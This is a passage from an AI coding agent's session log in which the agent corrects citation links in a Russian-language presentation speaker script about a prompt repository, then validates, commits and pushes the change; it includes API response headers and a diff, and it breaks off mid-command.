[INFO]                 \" \",\n[2026-09-29T08:04:05.680Z] [INFO]                 \" **\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438:**\",\n[2026-09-29T08:04:05.680Z] [INFO]                 \" [\u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432](https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/runs),\",\n[2026-09-29T08:04:05.680Z] [INFO]                 \"-[\u0436\u0443\u0440\u043d\u0430\u043b \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0439 `mango_ba_prompts`](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/CHANGELOG.md),\",\n[2026-09-29T08:04:05.680Z] [INFO]                 \"+[\u0440\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u043d\u0430 23 \u0444\u0430\u0439\u043b\u0430](https://github.com/G-Ivan-A/mango_ba_prompts/commit/d8a47597ed9f0301e03086e7c14cbd35205b01d1),\",\n[2026-09-29T08:04:05.680Z] [INFO]                 \"+[README `mango_ba_prompts`: \u00abevals \u0438 golden-set \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442\u00bb](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/README.md#L50),\",\n[2026-09-29T08:04:05.680Z] [INFO]                 \" [\u0440\u0430\u0437\u0431\u043e\u0440 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430 1027](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/docs/analysis/experiment-1027-analysis.md),\",\n[2026-09-29T08:04:05.680Z] [INFO]                 \" [\u0432\u0445\u043e\u0434\u044b \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u0438 \u0416\u0430\u043a\u043a\u0430\u0440 0.077](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-meta-model-inputs-facts.md),\",\n[2026-09-29T08:04:05.680Z] [INFO]                 \" [\u043f\u0440\u043e\u043c\u043f\u0442\u044b \u0442\u0440\u0451\u0445 \u0440\u0435\u0436\u0438\u043c\u043e\u0432](https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/prompts),\"\n[2026-09-29T08:04:05.680Z] [INFO]               ]\n[2026-09-29T08:04:05.680Z] [INFO]             }\n[2026-09-29T08:04:05.680Z] [INFO]           ]\n[2026-09-29T08:04:05.680Z] [INFO]         },\n[2026-09-29T08:04:05.680Z] [INFO]         {\n[2026-09-29T08:04:05.680Z] [INFO]           \"filePath\": \"/tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md\",\n[2026-09-29T08:04:05.680Z] [INFO]           \"hunks\": [\n[2026-09-29T08:04:05.680Z] [INFO]             {\n[2026-09-29T08:04:05.680Z] [INFO]               \"oldStart\": 138,\n[2026-09-29T08:04:05.680Z] [INFO]               \"oldLines\": 14,\n[2026-09-29T08:04:05.680Z] [INFO]               \"newStart\": 138,\n[2026-09-29T08:04:05.680Z] [INFO]               \"newLines\": 15,\n[2026-09-29T08:04:05.680Z] [INFO]               \"lines\": [\n[2026-09-29T08:04:05.680Z] [INFO]                 \" **\u0422\u0435\u043a\u0441\u0442.**\",\n[2026-09-29T08:04:05.680Z] [INFO]                 \" \",\n[2026-09-29T08:04:05.680Z] [INFO]                 \" - \u0412\u0435\u0441\u043d\u043e\u0439 \u0432\u0441\u0451 \u043d\u0430\u0447\u0438\u043d\u0430\u043b\u043e\u0441\u044c \u0441 \u043e\u0434\u043d\u043e\u0433\u043e \u0431\u043e\u043b\u044c\u0448\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u00ab\u0434\u043b\u044f \u0411\u0410\u00bb. \u0412 \u0438\u044e\u043d\u0435 \u043c\u044b\",\n[2026-09-29T08:04:05.680Z] [INFO]                 \"-  [\u0440\u0430\u0437\u0434\u0435\u043b\u0438\u043b\u0438 \u0435\u0433\u043e](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/CHANGELOG.md)\",\n[2026-09-29T08:04:05.680Z] [INFO]                 \"+  [\u0440\u0430\u0437\u0434\u0435\u043b\u0438\u043b\u0438 \u0435\u0433\u043e](https://github.com/G-Ivan-A/mango_ba_prompts/commit/d8a47597ed9f0301e03086e7c14cbd35205b01d1)\",\n[2026-09-29T08:04:05.680Z] [INFO]                 \"   \u043d\u0430 23 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u0430.\",\n[2026-09-29T08:04:05.680Z] [INFO]                 \" - \u041f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0432\u043e\u0439 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0441\u0441\u0438\u0438, \u0432\",\n[2026-09-29T08:04:05.680Z] [INFO]                 \"   [\u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0435 1027](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/docs/analysis/experiment-1027-analysis.md),\",\n[2026-09-29T08:04:05.680Z] [INFO]                 \"   \u043f\u0440\u0430\u0432\u043a\u0438 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043e\u0442\u043a\u0430\u0442\u0438\u043b\u0438. \u0421 \u0442\u0435\u0445 \u043f\u043e\u0440 \u043f\u0440\u043e\u043c\u043f\u0442 \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0435\u0440\u0435\u0437\",\n[2026-09-29T08:04:05.680Z] [INFO]                 \"   \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442. \u042d\u0442\u043e \u0431\u044b\u043b \u043f\u0435\u0440\u0432\u044b\u0439 \u0448\u0430\u0433 \u043e\u0442 \u0440\u0435\u043c\u0435\u0441\u043b\u0430 \u043a \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0443.\",\n[2026-09-29T08:04:05.680Z] [INFO]                 \" - \u041a \u0430\u0432\u0433\u0443\u0441\u0442\u0443 \u043d\u0430\u043a\u043e\u043f\u0438\u043b\u043e\u0441\u044c 56 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445, \u0438 \u043c\u044b \u0447\u0435\u0441\u0442\u043d\u043e\",\n[2026-09-29T08:04:05.680Z] [INFO]                 \"-  \u0437\u0430\u043f\u0438\u0441\u0430\u043b\u0438: evals \u0438 \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0445 \u043d\u0430\u0431\u043e\u0440\u043e\u0432 \u043d\u0435\u0442.\",\n[2026-09-29T08:04:05.680Z] [INFO]                 \"+  [\u0437\u0430\u043f\u0438\u0441\u0430\u043b\u0438](\",\n[2026-09-29T08:04:05.680Z] [INFO]                 \"+  https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/README.md#L50): evals \u0438 \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0445 \u043d\u0430\u0431\u043e\u0440\u043e\u0432 \u043d\u0435\u0442.\",\n[2026-09-29T08:04:05.680Z] [INFO]                 \" - \u0412 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u0435 \u043f\u0440\u043e\u0432\u0435\u043b\u0438 \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0443. \u0412\u044b\u044f\u0441\u043d\u0438\u043b\u043e\u0441\u044c, \u0447\u0442\u043e \u0442\u0440\u0438 \u0440\u0435\u0436\u0438\u043c\u0430 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u2014\",\n[2026-09-29T08:04:05.680Z] [INFO]                 \"   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\"date\": \"Tue, 29 Sep 2026 08:04:06 GMT\",\n[2026-09-29T08:04:06.937Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T08:04:06.940Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T08:04:06.950Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T08:04:06.956Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T08:04:06.962Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T08:04:06.966Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T08:04:06.971Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T08:04:06.973Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T08:04:06.975Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T08:04:06.979Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T08:04:06.983Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T08:04:06.985Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T08:04:06.989Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.47\",\n[2026-09-29T08:04:06.993Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T08:04:06.995Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T08:04:07.001Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T08:04:07.004Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T08:04:07.007Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T08:04:07.010Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T08:04:07.015Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.78\",\n[2026-09-29T08:04:07.020Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T08:04:07.024Z] [STDOUT]   \"request-id\": \"req_011CfXPBPiK96E2hiibxHh8h\",\n[2026-09-29T08:04:07.028Z] [STDOUT]   \"traceresponse\": \"00-55fe8242740424433180de65258c84ae-af0235602e157091-01\",\n[2026-09-29T08:04:07.032Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T08:04:07.036Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T08:04:07.039Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T08:04:07.042Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T08:04:07.048Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T08:04:07.052Z] [STDOUT]   \"cf-ray\": \"a42979a029db5d90-FRA\",\n[2026-09-29T08:04:07.057Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T08:04:07.060Z] [STDOUT] [log_1d9e0c] response parsed {\n[2026-09-29T08:04:07.064Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:04:07.069Z] [STDOUT]   status: 200,\n[2026-09-29T08:04:07.074Z] [STDOUT]   body: X {\n[2026-09-29T08:04:07.078Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T08:04:07.081Z] [STDOUT]     controller: AbortController {\n[2026-09-29T08:04:07.083Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T08:04:07.087Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T08:04:07.090Z] [STDOUT]     },\n[2026-09-29T08:04:07.095Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T08:04:07.101Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T08:04:07.105Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T08:04:07.108Z] [STDOUT]   },\n[2026-09-29T08:04:07.115Z] [STDOUT]   durationMs: 963,\n[2026-09-29T08:04:07.129Z] [STDOUT] }\n[2026-09-29T08:04:07.280Z] [INFO] {\n[2026-09-29T08:04:07.280Z] [INFO]   \"type\": \"system\",\n[2026-09-29T08:04:07.280Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T08:04:07.280Z] [INFO]   \"estimated_tokens\": 50,\n[2026-09-29T08:04:07.280Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T08:04:07.280Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:04:07.280Z] [INFO]   \"uuid\": \"cb04c539-2ba1-4f91-b2b9-61acfd343978\"\n[2026-09-29T08:04:07.280Z] [INFO] }\n[2026-09-29T08:04:08.121Z] [INFO] {\n[2026-09-29T08:04:08.121Z] [INFO]   \"type\": \"system\",\n[2026-09-29T08:04:08.121Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T08:04:08.121Z] [INFO]   \"estimated_tokens\": 220,\n[2026-09-29T08:04:08.121Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T08:04:08.121Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:04:08.121Z] [INFO]   \"uuid\": \"975e2d88-233b-4dd3-8e17-99a2e79a3d17\"\n[2026-09-29T08:04:08.121Z] [INFO] }\n[2026-09-29T08:04:08.135Z] [INFO] {\n[2026-09-29T08:04:08.135Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T08:04:08.135Z] [INFO]   \"message\": {\n[2026-09-29T08:04:08.135Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T08:04:08.135Z] [INFO]     \"id\": \"msg_011CfXPBQHo1TpXrTcwQ5yfZ\",\n[2026-09-29T08:04:08.135Z] [INFO]     \"type\": \"message\",\n[2026-09-29T08:04:08.135Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T08:04:08.135Z] [INFO]     \"content\": [\n[2026-09-29T08:04:08.135Z] [INFO]       {\n[2026-09-29T08:04:08.135Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T08:04:08.135Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T08:04:08.135Z] [INFO]         \"signature\": \"CAQS5wYKEAgSGAI4AUIIdGhpbmtpbmcSDMaZtJGP+i7K0/f78hoMkEOUOiCmdEaGhAWRIjCp3ThJeuDTluXSTr7IVuBMWt8kLVMjNgI/s8PEkUda/9YocHmm7lR5HFyUUVP6sLEqhAYB3CnLqpYHsHwQ+wty9bpKZGb9F9SFlk8dMBygLjyss3o33VPWXqXlGGznjNIY9inCJt2AmzYXym9zF+VDhqGYGAET71cwnnejN1MxknqC00BmCZjBcDHGJbj3bzhT29xECVogddvjC/wfM+Vru9Mi6to8yDQb1n+bShUIMoDwAQ1I6+kfx9rBwZ1XGn9eGbyxfdDvMOEblb7nJQvOfbJlg6SqRYgW66ew+Cj7LcSZhkJShQyU4mRYs+osmRLAN8q/Ldd5LRKmaeI/XU4GOLl8+rLcfjmCTAVpW2xus8D01yOI8Ev1WPZQ9nTMaRhzgVyaULseR/B0D37A7CV1on7rNuI9h3ODQ6xcuVs+S8c7GMdewEcv3e0mBzv6jQrVIoKDpmj3pMPVJIFal3kPG5dU0kdlOaqQ7p/Yc00bbKr260WFG7RYKlvGavwjubblzvftOALnj0cmNgdTGck1zD7BCdZgKTp/b1ayWeR7rh+7FkzsptNOeuT1BTShZeA8Lb3CZ31QtCxBhinLnOHFOeepxL3fMS8MAIUe9LoTzD7j3QTOHDlPgtn8rSMQQ+UNIo6AfjpqmKeq6Sp8urJ8UjGMOLj2k3nncG/atbYcwf3ta7ARJYZbbBU01SkNIUfjg5dKf3pwUNb8kG1mJbMAg8E33RiQ58ZL3BSz7nlOTh6vTrZXcztuQl8BJLjunpRuEIZFcWCezy6ghrVrb78ntxmZOHEK0p8k7UO2U4W1H8qBFCWSsX4UJiL8jxF4NSyR/vo7iEw/SCbRjl6ySDFrKlVAzKie+r99qFZnQfFvMnFAUwWvucYLZW2Jbjk2fuuyR3jdwmsHjFqgkDzgdgL1sc0Q1ARL4cGS4KSwA51860jMLgaglk80wjYzJqKEqu7MtEF/1I+qHg+xAYnId6LdU5FGMe7r/58kA4oOYMHi9VBSL4hdVvMQJkKlzn668wm8q5O+d+Kwtk96M1pr/yorFOaR2uVzxkNUtQSKpnoW/A8R6ezFqB1AfTU637n4A3wOiXdlmtTuGAE=\"\n[2026-09-29T08:04:08.135Z] [INFO]       }\n[2026-09-29T08:04:08.135Z] [INFO]     ],\n[2026-09-29T08:04:08.135Z] [INFO]     \"container\": null,\n[2026-09-29T08:04:08.135Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T08:04:08.135Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T08:04:08.135Z] [INFO]     \"stop_details\": null,\n[2026-09-29T08:04:08.135Z] [INFO]     \"usage\": {\n[2026-09-29T08:04:08.135Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T08:04:08.135Z] [INFO]       \"cache_creation_input_tokens\": 858,\n[2026-09-29T08:04:08.135Z] [INFO]       \"cache_read_input_tokens\": 97631,\n[2026-09-29T08:04:08.135Z] [INFO]       \"cache_creation\": {\n[2026-09-29T08:04:08.135Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T08:04:08.135Z] [INFO]         \"ephemeral_1h_input_tokens\": 858\n[2026-09-29T08:04:08.135Z] [INFO]       },\n[2026-09-29T08:04:08.135Z] [INFO]       \"output_tokens\": 3,\n[2026-09-29T08:04:08.135Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T08:04:08.135Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T08:04:08.135Z] [INFO]     },\n[2026-09-29T08:04:08.135Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T08:04:08.135Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T08:04:08.135Z] [INFO]     \"context_management\": null\n[2026-09-29T08:04:08.135Z] [INFO]   },\n[2026-09-29T08:04:08.135Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:04:08.135Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:04:08.135Z] [INFO]   \"uuid\": \"f97e5aff-394f-43b7-b7ea-8ddc1cd7b813\",\n[2026-09-29T08:04:08.135Z] [INFO]   \"timestamp\": \"2026-09-29T08:04:08.120Z\",\n[2026-09-29T08:04:08.135Z] [INFO]   \"request_id\": \"req_011CfXPBPiK96E2hiibxHh8h\"\n[2026-09-29T08:04:08.135Z] [INFO] }\n[2026-09-29T08:04:08.150Z] [INFO] {\n[2026-09-29T08:04:08.150Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T08:04:08.150Z] [INFO]   \"message\": {\n[2026-09-29T08:04:08.150Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T08:04:08.150Z] [INFO]     \"id\": \"msg_011CfXPBQHo1TpXrTcwQ5yfZ\",\n[2026-09-29T08:04:08.150Z] [INFO]     \"type\": \"message\",\n[2026-09-29T08:04:08.150Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T08:04:08.150Z] [INFO]     \"content\": [\n[2026-09-29T08:04:08.150Z] [INFO]       {\n[2026-09-29T08:04:08.150Z] [INFO]         \"type\": \"text\",\n[2026-09-29T08:04:08.150Z] [INFO]         \"text\": \"The link wraps awkwardly across lines, so I'll reflow it:\"\n[2026-09-29T08:04:08.150Z] [INFO]       }\n[2026-09-29T08:04:08.150Z] [INFO]     ],\n[2026-09-29T08:04:08.150Z] [INFO]     \"container\": null,\n[2026-09-29T08:04:08.150Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T08:04:08.150Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T08:04:08.150Z] [INFO]     \"stop_details\": null,\n[2026-09-29T08:04:08.150Z] [INFO]     \"usage\": {\n[2026-09-29T08:04:08.150Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T08:04:08.150Z] [INFO]       \"cache_creation_input_tokens\": 858,\n[2026-09-29T08:04:08.150Z] [INFO]       \"cache_read_input_tokens\": 97631,\n[2026-09-29T08:04:08.150Z] [INFO]       \"cache_creation\": {\n[2026-09-29T08:04:08.150Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T08:04:08.150Z] [INFO]         \"ephemeral_1h_input_tokens\": 858\n[2026-09-29T08:04:08.150Z] [INFO]       },\n[2026-09-29T08:04:08.150Z] [INFO]       \"output_tokens\": 3,\n[2026-09-29T08:04:08.150Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T08:04:08.150Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T08:04:08.150Z] [INFO]     },\n[2026-09-29T08:04:08.150Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T08:04:08.150Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T08:04:08.150Z] [INFO]     \"context_management\": null\n[2026-09-29T08:04:08.150Z] [INFO]   },\n[2026-09-29T08:04:08.150Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:04:08.150Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:04:08.150Z] [INFO]   \"uuid\": \"503e558c-4ecc-4846-b1a7-6119b27a2f4e\",\n[2026-09-29T08:04:08.150Z] [INFO]   \"timestamp\": \"2026-09-29T08:04:08.127Z\",\n[2026-09-29T08:04:08.150Z] [INFO]   \"request_id\": \"req_011CfXPBPiK96E2hiibxHh8h\"\n[2026-09-29T08:04:08.150Z] [INFO] }\n[2026-09-29T08:04:12.693Z] [INFO] {\n[2026-09-29T08:04:12.693Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T08:04:12.693Z] [INFO]   \"message\": {\n[2026-09-29T08:04:12.693Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T08:04:12.693Z] [INFO]     \"id\": \"msg_011CfXPBQHo1TpXrTcwQ5yfZ\",\n[2026-09-29T08:04:12.693Z] [INFO]     \"type\": \"message\",\n[2026-09-29T08:04:12.693Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T08:04:12.693Z] [INFO]     \"content\": [\n[2026-09-29T08:04:12.693Z] [INFO]       {\n[2026-09-29T08:04:12.693Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T08:04:12.693Z] [INFO]         \"id\": \"toolu_01Mz8aB5tKDHRdmM4URvLkR4\",\n[2026-09-29T08:04:12.693Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T08:04:12.693Z] [INFO]         \"input\": {\n[2026-09-29T08:04:12.693Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920; python3 - <<'EOF'\\np='projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md'\\nt=open(p).read()\\na='''- \u041a \u0430\u0432\u0433\u0443\u0441\u0442\u0443 \u043d\u0430\u043a\u043e\u043f\u0438\u043b\u043e\u0441\u044c 56 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445, \u0438 \u043c\u044b \u0447\u0435\u0441\u0442\u043d\u043e\\n  [\u0437\u0430\u043f\u0438\u0441\u0430\u043b\u0438](\\n  https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/README.md#L50): evals \u0438 \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0445 \u043d\u0430\u0431\u043e\u0440\u043e\u0432 \u043d\u0435\u0442.'''\\nb='''- \u041a \u0430\u0432\u0433\u0443\u0441\u0442\u0443 \u043d\u0430\u043a\u043e\u043f\u0438\u043b\u043e\u0441\u044c 56 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445, \u0438 \u043c\u044b \u0447\u0435\u0441\u0442\u043d\u043e\\n  \u0437\u0430\u043f\u0438\u0441\u0430\u043b\u0438 \u0432\\n  [README](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/README.md#L50):\\n  evals \u0438 \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0445 \u043d\u0430\u0431\u043e\u0440\u043e\u0432 \u043d\u0435\u0442.'''\\nassert a in t; open(p,'w').write(t.replace(a,b))\\nEOF\\nfor v in \\\"./tools/validate-frontmatter.sh .\\\" ./tools/validate-rrp-links.sh ./tools/validate-repository-structure.sh; do $v >/dev/null 2>&1 && echo \\\"PASS $v\\\" || echo \\\"FAIL $v\\\"; done\\ngit add -A && git commit -q -m \\\"docs(ba-ai-process): cite exact evidence for prompt-repo evolution (#646)\\n\\nLink the 23-file split to commit d8a4759 and the missing-evals admission\\nto the mango_ba_prompts README instead of its CHANGELOG, which records\\nneither fact.\\\" && git push -q origin issue-646-497e337ac092 && git log --oneline -3\",\n[2026-09-29T08:04:12.693Z] [INFO]           \"description\": \"Fix link formatting, validate, commit, push\"\n[2026-09-29T08:04:12.693Z] [INFO]         },\n[2026-09-29T08:04:12.693Z] [INFO]         \"caller\": {\n[2026-09-29T08:04:12.693Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T08:04:12.693Z] [INFO]         }\n[2026-09-29T08:04:12.693Z] [INFO]       }\n[2026-09-29T08:04:12.693Z] [INFO]     ],\n[2026-09-29T08:04:12.693Z] [INFO]     \"container\": null,\n[2026-09-29T08:04:12.693Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T08:04:12.693Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T08:04:12.693Z] [INFO]     \"stop_details\": null,\n[2026-09-29T08:04:12.693Z] [INFO]     \"usage\": {\n[2026-09-29T08:04:12.693Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T08:04:12.693Z] [INFO]       \"cache_creation_input_tokens\": 858,\n[2026-09-29T08:04:12.693Z] [INFO]       \"cache_read_input_tokens\": 97631,\n[2026-09-29T08:04:12.693Z] [INFO]       \"cache_creation\": {\n[2026-09-29T08:04:12.693Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T08:04:12.693Z] [INFO]         \"ephemeral_1h_input_tokens\": 858\n[2026-09-29T08:04:12.693Z] [INFO]       },\n[2026-09-29T08:04:12.693Z] [INFO]       \"output_tokens\": 3,\n[2026-09-29T08:04:12.693Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T08:04:12.693Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T08:04:12.693Z] [INFO]     },\n[2026-09-29T08:04:12.693Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T08:04:12.693Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T08:04:12.693Z] [INFO]     \"context_management\": null\n[2026-09-29T08:04:12.693Z] [INFO]   },\n[2026-09-29T08:04:12.693Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:04:12.693Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:04:12.693Z] [INFO]   \"uuid\": \"e04d3317-3ef8-48ea-8a65-0e6dd205362d\",\n[2026-09-29T08:04:12.693Z] [INFO]   \"timestamp\": \"2026-09-29T08:04:12.675Z\",\n[2026-09-29T08:04:12.693Z] [INFO]   \"request_id\": \"req_011CfXPBPiK96E2hiibxHh8h\",\n[2026-09-29T08:04:12.693Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T08:04:12.693Z] [INFO]     \"toolu_01Mz8aB5tKDHRdmM4URvLkR4\": {\n[2026-09-29T08:04:12.693Z] [INFO]       \"command\": \"cd /tmp/gh-issue-solver-1790667776920; python3 - <<'EOF'\\np='projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md'\\nt=open(p).read()\\na='''- \u041a \u0430\u0432\u0433\u0443\u0441\u0442\u0443 \u043d\u0430\u043a\u043e\u043f\u0438\u043b\u043e\u0441\u044c 56 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445, \u0438 \u043c\u044b \u0447\u0435\u0441\u0442\u043d\u043e\\n  [\u0437\u0430\u043f\u0438\u0441\u0430\u043b\u0438](\\n  https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/README.md#L50): evals \u0438 \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0445 \u043d\u0430\u0431\u043e\u0440\u043e\u0432 \u043d\u0435\u0442.'''\\nb='''- \u041a \u0430\u0432\u0433\u0443\u0441\u0442\u0443 \u043d\u0430\u043a\u043e\u043f\u0438\u043b\u043e\u0441\u044c 56 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430 